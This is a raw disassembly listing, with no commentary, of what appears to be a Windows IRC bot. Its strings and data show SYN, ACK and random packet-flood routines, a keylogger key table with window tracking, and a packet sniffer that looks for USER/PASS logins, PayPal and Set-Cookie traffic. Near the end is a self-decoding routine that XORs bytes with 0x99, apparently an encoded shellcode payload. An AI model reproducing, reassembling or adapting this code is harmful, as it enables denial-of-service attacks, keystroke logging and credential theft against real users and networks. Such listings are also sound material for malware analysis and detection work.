dword_4220B8	dd 19930520h, 1, 4220D8h, 5 dup(0) ; DATA XREF:	seg000:loc_420304o
		dd 0FFFFFFFFh, 4202FCh
dword_4220E0	dd 19930520h, 1, 422100h, 5 dup(0) ; DATA XREF:	seg000:loc_420318o
		dd 0FFFFFFFFh, 420310h,	8Dh dup(0)
		dd 4211AC01h, 32535700h, 2E32335Fh, 6C6C64h, 7400h, 73000000h
		dd 0
		dd 1500h, 0A000000h, 0
		dd 200h, 0D000000h, 0
		dd 100h, 34000000h, 0
		dd 1600h, 12000000h, 0
		dd 9700h, 0B000000h, 0
		dd 900h, 17000000h, 0
		dd 400h, 10000000h, 0
		dd 1300h, 3000000h, 0
		db    0
		align 2
		dw 4210h
		db    0
		db 4Bh,	45h, 52h
		db  4Eh	; N
		db 45h,	4Ch, 33h
		db  32h	; 2
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
aGetexitcodepro	db 'GetExitCodeProcess',0
aSetenvironment	db 'SetEnvironmentVariableA',0
aComparestringw	db 'CompareStringW',0
aComparestringa	db 'CompareStringA',0
aSetendoffile	db 'SetEndOfFile',0
aIsbadcodeptr	db 'IsBadCodePtr',0
aIsbadreadptr	db 'IsBadReadPtr',0
aSetunhandledex	db 'SetUnhandledExceptionFilter',0
aFlushfilebuffe	db 'FlushFileBuffers',0
aSetstdhandle	db 'SetStdHandle',0
aGetstringtypew	db 'GetStringTypeW',0
aGetstringtypea	db 'GetStringTypeA',0
aGetfiletype	db 'GetFileType',0
aGetstdhandle	db 'GetStdHandle',0
aSethandlecount	db 'SetHandleCount',0
aGetenvironment	db 'GetEnvironmentStringsW',0
aGetenvironme_0	db 'GetEnvironmentStrings',0
aFreeenvironmen	db 'FreeEnvironmentStringsW',0
aExitthread	db 'ExitThread',0
aGettickcount	db 'GetTickCount',0
aQueryperform_1	db 'QueryPerformanceCounter',0
aQueryperform_2	db 'QueryPerformanceFrequency',0
aGetsystemdirec	db 'GetSystemDirectoryA',0
aGetlocaltime	db 'GetLocalTime',0
aSleep		db 'Sleep',0
aMultibytetowid	db 'MultiByteToWideChar',0
aReadfile	db 'ReadFile',0
aClosehandle	db 'CloseHandle',0
aWritefile	db 'WriteFile',0
aTransactnamedp	db 'TransactNamedPipe',0
aCreatefilea	db 'CreateFileA',0
aGetmodulefilen	db 'GetModuleFileNameA',0
aGettimeformata	db 'GetTimeFormatA',0
aGetdateformata	db 'GetDateFormatA',0
aGetlasterror	db 'GetLastError',0
aCreatethread	db 'CreateThread',0
aGetfilesize	db 'GetFileSize',0
aGetfileattribu	db 'GetFileAttributesA',0
aFindclose	db 'FindClose',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
aFindnextfilea	db 'FindNextFileA',0
aFindfirstfilea	db 'FindFirstFileA',0
aSetfilepointer	db 'SetFilePointer',0
aLeavecriticals	db 'LeaveCriticalSection',0
aEntercriticals	db 'EnterCriticalSection',0
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
aDeletecritical	db 'DeleteCriticalSection',0
aLoadlibrarya	db 'LoadLibraryA',0
aGetprocaddress	db 'GetProcAddress',0
aGetmodulehandl	db 'GetModuleHandleA',0
aFormatmessagea	db 'FormatMessageA',0
aGlobalunlock	db 'GlobalUnlock',0
aGloballock	db 'GlobalLock',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aMapviewoffile	db 'MapViewOfFile',0
aCreatefilemapp	db 'CreateFileMappingA',0
aSetfiletime	db 'SetFileTime',0
aGetfiletime	db 'GetFileTime',0
aCreateprocessa	db 'CreateProcessA',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
aSetfileattribu	db 'SetFileAttributesA',0
aGettemppatha	db 'GetTempPathA',0
aPeeknamedpipe	db 'PeekNamedPipe',0
aDuplicatehandl	db 'DuplicateHandle',0
aGetcurrentproc	db 'GetCurrentProcess',0
aCreatepipe	db 'CreatePipe',0
aGetversionexa	db 'GetVersionExA',0
aGlobalmemoryst	db 'GlobalMemoryStatus',0
aExitprocess	db 'ExitProcess',0
aDeletefilea	db 'DeleteFileA',0
aOpenprocess	db 'OpenProcess',0
aGetcurrentpr_0	db 'GetCurrentProcessId',0
aCopyfilea	db 'CopyFileA',0
aWaitforsingleo	db 'WaitForSingleObject',0
aCreatemutexa	db 'CreateMutexA',0
aTerminatethrea	db 'TerminateThread',0
aMovefilea	db 'MoveFileA',0
aWidechartomult	db 'WideCharToMultiByte',0
aGetcomputernam	db 'GetComputerNameA',0
aTerminateproce	db 'TerminateProcess',0
aGetlocaleinfoa	db 'GetLocaleInfoA',0
aGetlogicaldr_0	db 'GetLogicalDrives',0
aHeapalloc	db 'HeapAlloc',0
aHeapfree	db 'HeapFree',0
aRtlunwind	db 'RtlUnwind',0
aGettimezoneinf	db 'GetTimeZoneInformation',0
aGetsystemtime	db 'GetSystemTime',0
aHeaprealloc	db 'HeapReAlloc',0
aGetstartupinfo	db 'GetStartupInfoA',0
aGetcommandline	db 'GetCommandLineA',0
aGetversion	db 'GetVersion',0
aHeapdestroy	db 'HeapDestroy',0
aHeapcreate	db 'HeapCreate',0
aVirtualfree	db 'VirtualFree',0
aVirtualalloc	db 'VirtualAlloc',0
aIsbadwriteptr	db 'IsBadWritePtr',0
aRaiseexception	db 'RaiseException',0
aHeapsize	db 'HeapSize',0
aLcmapstringa	db 'LCMapStringA',0
aLcmapstringw	db 'LCMapStringW',0
aGetcpinfo	db 'GetCPInfo',0
aGetacp		db 'GetACP',0
aGetoemcp	db 'GetOEMCP',0
aUnhandledexcep	db 'UnhandledExceptionFilter',0
aFreeenvironm_0	db 'FreeEnvironmentStringsA',0
		align 10h
		dd 170h	dup(0)
dword_423000	dd 0			; DATA XREF: sub_4177FA+1Fo
		dd offset sub_4036CF
		dd offset sub_404EE6
		dd offset sub_4200C4
dword_423010	dd 0			; DATA XREF: sub_4177FA+1Ao
dword_423014	dd 0			; DATA XREF: sub_4177FA+10o
		dd offset sub_416852
		dd offset sub_41C384
		dd offset sub_41D0D6
		dd offset sub_41DF48
dword_423028	dd 0			; DATA XREF: sub_4177FA:loc_417805o
dword_42302C	dd 0			; DATA XREF: sub_417849+65o
		dd offset sub_41D17B
dword_423034	dd 0			; DATA XREF: sub_417849:loc_4178A9o
dword_423038	dd 0			; DATA XREF: sub_417849+76o
		dd offset sub_41DF59
dword_423040	dd 4 dup(0)		; DATA XREF: sub_417849:loc_4178BAo
unk_423050	db    2			; DATA XREF: sub_401000+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_42308C	db    2			; DATA XREF: sub_4010B2+302o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
		align 4
unk_4230E4	db    2			; DATA XREF: sub_401447+397o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
unk_423148	db    2			; DATA XREF: sub_401447+307o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
unk_4231AC	db    2			; DATA XREF: sub_401447+12Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 10h
unk_4231E0	db    2			; DATA XREF: sub_401447+C2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42322C	db    2			; DATA XREF: sub_401447+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_423274	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182E+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
dword_4232B0	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_4018CA+27Do
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4232E0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+4EBo
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_423344	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+44Fo
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401BD6+312o
					; sub_40CE55+2B28o ...
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401BD6+2F2o
					; sub_40CE55+2B11o
aSyn		db 'syn',0              ; DATA XREF: sub_401BD6+2D2o
					; sub_40CE55+2AF9o
dword_4233B8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+15Fo
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4233EC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+EEo
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_423438	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+70o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4021FB:loc_4022DEo
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_423BB4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4021FB+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_423BEC	dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
					; DATA XREF: sub_40211A+AEo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211A+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_40211A+4Eo
					; sub_40CE55+29D7o
		align 10h
asc_423C30:				; DATA XREF: sub_40211A+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o
		align 10h
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
		align 10h
off_423C80	dd offset dword_4244F8	; DATA XREF: sub_4024DC+29Er
		dd offset off_4244F4
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
dword_423C90	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_4024DC+1DEo
dword_423CA4	dd 0			; DATA XREF: sub_4024DC+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: seg000:00423C8Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: seg000:00423C88o
off_4244F4	dd offset aHeloRndnickMai+25h ;	DATA XREF: seg000:00423C84o
dword_4244F8	dd 544F42h		; DATA XREF: seg000:off_423C80o
unk_4244FC	db    2			; DATA XREF: sub_4024DC+2FCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_424544	db    2			; DATA XREF: sub_4024DC+2ABo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_4024DC+235o
		align 4
unk_424598	db    2			; DATA XREF: sub_4024DC+186o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_4245E4	db    2			; DATA XREF: sub_4024DC+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
dword_42462C	dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h
					; DATA XREF: sub_4024DC+85o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h,	73203A72h
		dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h
		dd 64656E72h, 253C203Ah, 2E3E64h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_42468A

; =============== S U B	R O U T	I N E =======================================



sub_42467A	proc far		; CODE XREF: sub_42467A:loc_42468Ap
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_424682:				; CODE XREF: sub_42467A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_424682
		jmp	short loc_42468F
; ---------------------------------------------------------------------------

loc_42468A:				; CODE XREF: seg000:00424678j
		call	near ptr sub_42467A

loc_42468F:				; CODE XREF: sub_42467A+Ej
		jo	short loc_4246F3
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_424711
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_4246F3:				; CODE XREF: sub_42467A:loc_42468Fj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_424711:				; CODE XREF: sub_42467A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_42467A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_4247B8:				; DATA XREF: sub_402988+150o
					; sub_402988+20Do
		jmp	short loc_4247CA

; =============== S U B	R O U T	I N E =======================================



